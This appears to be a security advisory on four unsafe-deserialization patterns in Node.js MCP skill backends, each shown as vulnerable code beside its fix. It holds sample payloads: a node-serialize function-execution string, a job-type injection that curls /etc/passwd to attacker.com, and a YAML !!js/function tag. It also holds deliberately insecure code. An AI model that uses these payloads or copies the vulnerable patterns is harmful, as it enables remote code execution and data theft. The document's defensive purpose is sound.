Claude skill unsafe deserialization in session and job queue payloads — SA-SKL-DESERIALIZE2
Deserialization vulnerabilities in Node.js MCP skills are less common than their Java equivalents but achieve the same outcome — remote code execution — when they occur. SA-SKL-DESERIALIZE2 covers four patterns found in community skill audits: node-serialize.unserialize() applied to Redis session data that an attacker can write directly; a bull/bullmq job queue that passes the job type field through eval(); YAML.load() configured with the unsafe schema that allows the !!js/function tag to instantiate arbitrary JavaScript; and class-transformer's plainToClass() with an attacker-controlled discriminator value that maps to an internal admin class with elevated default permissions.
Deserialization in MCP skill backends
MCP skills that process user-submitted code or configuration data pass structured payloads through multiple serialization boundaries: the HTTP body is JSON-parsed, stored in Redis or a job queue as a string, and deserialized again by a background worker with different trust context. At each boundary, a developer must choose a deserializer and configure it appropriately. The four patterns in SA-SKL-DESERIALIZE2 represent cases where the wrong deserializer was chosen (node-serialize instead of JSON.parse), where a safe deserializer was misconfigured to allow unsafe input (YAML.load with UNSAFE_SCHEMA), or where a type-mapping library's discrimination feature was exposed to attacker-controlled input (class-transformer discriminators).
node-serialize.unserialize() on Redis session data; attacker writes IIFE payload {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id');}()"} to session key; RCE on deserializeJSON.parse(jobData) then eval() on job type field; attacker enqueues crafted job via public API endpoint; RCE on workerYAML.load(userConfig) with YAML_UNSAFE_SCHEMA (or no schema in older js-yaml); !!js/function tag instantiates arbitrary JS on parse; fix: YAML.safeLoad() or FAIL_ON_UNKNOWN_TAGSclass-transformer plainToClass() with user-controlled type discriminator; attacker sets type:"AdminUser"; mapped to admin class with admin:true defaults; privilege escalationDESERIALIZE2-001 — node-serialize.unserialize() on Redis session data
node-serialize is an older npm package that serializes JavaScript objects including functions using a special _$$ND_FUNC$$_ prefix. Its unserialize() function reconstructs function objects by calling eval() on the serialized function body. This means any string stored in Redis that contains a crafted function payload will execute arbitrary JavaScript when unserialize() processes it. An attacker who can write to Redis (via a Redis misconfiguration exposing port 6379, or via a separate injection vulnerability) can craft a session key value that executes code when the session middleware deserializes it. The fix is to never use node-serialize.unserialize() on untrusted data — replace it with JSON.parse() and extract only the specific fields you need.
// VULNERABLE — node-serialize.unserialize() on Redis session value
import serialize from 'node-serialize';
import { createClient } from 'redis';
const redis = createClient({ url: process.env.REDIS_URL });
app.use(async (req, res, next) => {
const sessionId = req.cookies.sid;
if (!sessionId) return next();
const raw = await redis.get(`session:${sessionId}`);
if (!raw) return next();
// VULNERABLE: unserialize() calls eval() on _$$ND_FUNC$$_ payloads
// Attacker writes: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id');}()"}
req.session = serialize.unserialize(raw);
next();
});
// FIXED — JSON.parse + explicit field extraction; no eval path
app.use(async (req, res, next) => {
const sessionId = req.cookies.sid;
if (!sessionId) return next();
const raw = await redis.get(`session:${sessionId}`);
if (!raw) return next();
try {
const parsed = JSON.parse(raw);
// Extract only known scalar fields — never deserialize function values
req.session = {
userId: typeof parsed.userId === 'string' ? parsed.userId : null,
orgId: typeof parsed.orgId === 'string' ? parsed.orgId : null,
role: ['user', 'admin'].includes(parsed.role) ? parsed.role : 'user',
// Add additional fields with explicit type checks
};
} catch {
// Corrupted session — treat as unauthenticated
req.session = {};
}
next();
});
DESERIALIZE2-002 — bull/bullmq job queue with eval() on job type field
Some MCP skill audit platforms use a job queue architecture where the job type determines which processor function runs. A brittle implementation maps job types to processors using eval() — constructing a function name string from the job type and evaluating it. An attacker who can enqueue a job (via a public API endpoint that lacks proper authorization, or by directly writing to the Redis queue) can supply a job type like "; require('child_process').exec('curl attacker.com/$(cat /etc/passwd | base64)'); and achieve RCE on the worker process. The fix is to use an explicit type enum and a static dispatch map — never construct or evaluate function names from job data.
// VULNERABLE — eval() on job type field to dispatch processor
import Bull from 'bull';
const queue = new Bull('audits', { redis: process.env.REDIS_URL });
// Processor registration
queue.process(async job => {
const { type, payload } = job.data;
// VULNERABLE: attacker enqueues job with type="; exec('id');"
const processor = eval(`get${type}Processor`); // constructs function name via eval
return processor(payload);
});
// FIXED — explicit type enum + static dispatch map; no eval
import Bull from 'bull';
import Ajv from 'ajv';
const ajv = new Ajv({ strict: true });
const ALLOWED_JOB_TYPES = ['StaticScan', 'LlmRedTeam', 'PermissionCheck', 'CompatCheck'] as const;
type JobType = typeof ALLOWED_JOB_TYPES[number];
const PROCESSORS: Record Promise> = {
StaticScan: runStaticScan,
LlmRedTeam: runLlmRedTeam,
PermissionCheck: runPermissionCheck,
CompatCheck: runCompatCheck,
};
const jobSchema = {
type: 'object',
required: ['type', 'payload'],
properties: {
type: { type: 'string', enum: ALLOWED_JOB_TYPES },
payload: { type: 'object' },
},
additionalProperties: false,
};
const validateJob = ajv.compile(jobSchema);
queue.process(async job => {
if (!validateJob(job.data)) {
throw new Error(`Invalid job schema: ${JSON.stringify(validateJob.errors)}`);
}
const { type, payload } = job.data as { type: JobType; payload: unknown };
// Static dispatch — no eval, no dynamic function construction
return PROCESSORS[type](payload);
});
DESERIALIZE2-003 — YAML.load() with YAML_UNSAFE_SCHEMA
MCP skill platforms that accept YAML configuration files from users (audit policy files, skip-list configs, badge badge-styling templates) must parse YAML safely. The js-yaml library defaults to a safe schema in version 4.x, but many skill repos still use version 3.x where YAML.load() (aliased as yaml.safeLoad() in v3) was nominally safe, while YAML.load() with the DEFAULT_FULL_SCHEMA or YAML_UNSAFE_SCHEMA allows the !!js/function tag to instantiate arbitrary JavaScript functions from the YAML string. An attacker who submits a YAML config file containing rce: !!js/function 'function(){require("child_process").exec("id")}' achieves RCE when the backend parses it. The fix is to always use YAML.load(str, { schema: FAILSAFE_SCHEMA }) in js-yaml v4, or the equivalent yaml.safeLoad() in v3 — and never pass user-supplied YAML to any function that accepts an unsafe schema.
// VULNERABLE — YAML.load with UNSAFE_SCHEMA; !!js/function executes on parse
import yaml from 'js-yaml';
app.post('/policy/upload', auth, (req, res) => {
// VULNERABLE: YAML_UNSAFE_SCHEMA allows !!js/function tag
const policy = yaml.load(req.body.config, {
schema: yaml.YAML_UNSAFE_SCHEMA, // attacker uses: rce: !!js/function 'function(){require("child_process").exec("id")}'
});
applyAuditPolicy(policy);
res.json({ ok: true });
});
// FIXED — YAML.load with FAILSAFE_SCHEMA; no executable tags allowed
import yaml from 'js-yaml';
app.post('/policy/upload', auth, (req, res) => {
let policy;
try {
// FAILSAFE_SCHEMA: only strings, sequences, and mappings — no !!js/ tags
policy = yaml.load(req.body.config, {
schema: yaml.FAILSAFE_SCHEMA,
// js-yaml v4: throw on any unrecognized tag
onWarning: (warning) => { throw warning; },
});
} catch (err) {
return res.status(400).json({ error: `Invalid YAML: ${err.message}` });
}
// Validate the parsed object against expected policy schema (Ajv)
if (!validatePolicy(policy)) {
return res.status(400).json({ error: 'Policy schema validation failed' });
}
applyAuditPolicy(policy);
res.json({ ok: true });
});
// js-yaml v4 equivalent (no schema option needed — v4 safe by default):
// const policy = yaml.load(req.body.config); // safe by default in v4
// But explicitly pass FAILSAFE_SCHEMA to guard against downgrade to v3 in future:
// const policy = yaml.load(req.body.config, { schema: yaml.FAILSAFE_SCHEMA });
DESERIALIZE2-004 — class-transformer plainToClass() with attacker-controlled discriminator
class-transformer is a TypeScript library that converts plain JSON objects to class instances. When used with the @Type(() => TargetClass) decorator and a discriminator option, it maps a type field in the JSON to different class constructors. If the class map is exposed and the type field comes from user input without validation, an attacker can instantiate internal admin classes that have privileged default property values (admin: true, role: 'owner'). The resulting object passes instanceof AdminUser checks in middleware, granting escalated access. The fix is to pass the target class explicitly as the first parameter to plainToClass() — never derive the class from user-supplied input — and use excludeExtraneousValues: true combined with @Expose() to whitelist only intended properties.
// VULNERABLE — class-transformer plainToClass with user-controlled type discriminator
import { plainToClass } from 'class-transformer';
import { User, AdminUser, OrgOwner } from './models';
const CLASS_MAP = { user: User, admin: AdminUser, owner: OrgOwner };
app.post('/profile/update', auth, (req, res) => {
// VULNERABLE: type from req.body — attacker sends type:'admin' to get AdminUser instance
const TargetClass = CLASS_MAP[req.body.type] || User;
const profile = plainToClass(TargetClass, req.body, {
excludeExtraneousValues: false, // all properties from req.body copied to instance
});
// AdminUser has admin:true as default → profile.admin === true
updateUserProfile(req.user.id, profile);
res.json({ ok: true });
});
// FIXED — explicit target class; @Expose() whitelist; excludeExtraneousValues:true
import { plainToClass, Expose } from 'class-transformer';
import { IsString, MaxLength, IsOptional } from 'class-validator';
class UserProfileUpdate {
@Expose()
@IsOptional()
@IsString()
@MaxLength(100)
displayName?: string;
@Expose()
@IsOptional()
@IsString()
@MaxLength(500)
bio?: string;
// admin, role, orgId — NOT decorated with @Expose(); never copied from input
}
app.post('/profile/update', auth, async (req, res) => {
// Always pass the explicit DTO class — never derive from user input
const dto = plainToClass(UserProfileUpdate, req.body, {
excludeExtraneousValues: true, // only @Expose()-decorated fields are copied
enableImplicitConversion: false,
});
// Validate with class-validator
const errors = await validate(dto);
if (errors.length) return res.status(400).json({ errors });
// dto.admin is undefined — attacker cannot escalate via plainToClass
updateUserProfile(req.user.id, { displayName: dto.displayName, bio: dto.bio });
res.json({ ok: true });
});
Related patterns: YAML unsafe deserialization is closely related to SA-SKL-INJECTION5: template injection in that both arise from evaluating user-controlled strings in a language-aware parser. For prototype pollution via JSON.parse and Object.assign on job payloads, see SA-SKL-PROTOTYPE6. The MCP skill deserialization security guide covers the full class of eval-on-deserialization vulnerabilities across Node.js serialization libraries.
| Finding | Severity | Vulnerable pattern | Fix |
|---|---|---|---|
DESERIALIZE2-001 | Critical | node-serialize.unserialize() on Redis session; IIFE payload executes on deserialize | JSON.parse() + explicit field extraction with type checks; never unserialize() on untrusted data |
DESERIALIZE2-002 | Critical | bull job type field passed to eval(); attacker enqueues crafted job for RCE on worker | Ajv strict schema + explicit enum for type; static dispatch map; no eval() |
DESERIALIZE2-003 | High | YAML.load() with YAML_UNSAFE_SCHEMA; !!js/function tag executes JS on parse | FAILSAFE_SCHEMA in js-yaml; validate parsed object with Ajv after parse; never unsafe schema on user input |
DESERIALIZE2-004 | High | plainToClass() with attacker-controlled discriminator to admin class; privilege escalation | Explicit DTO class; @Expose() whitelist; excludeExtraneousValues:true; validate with class-validator |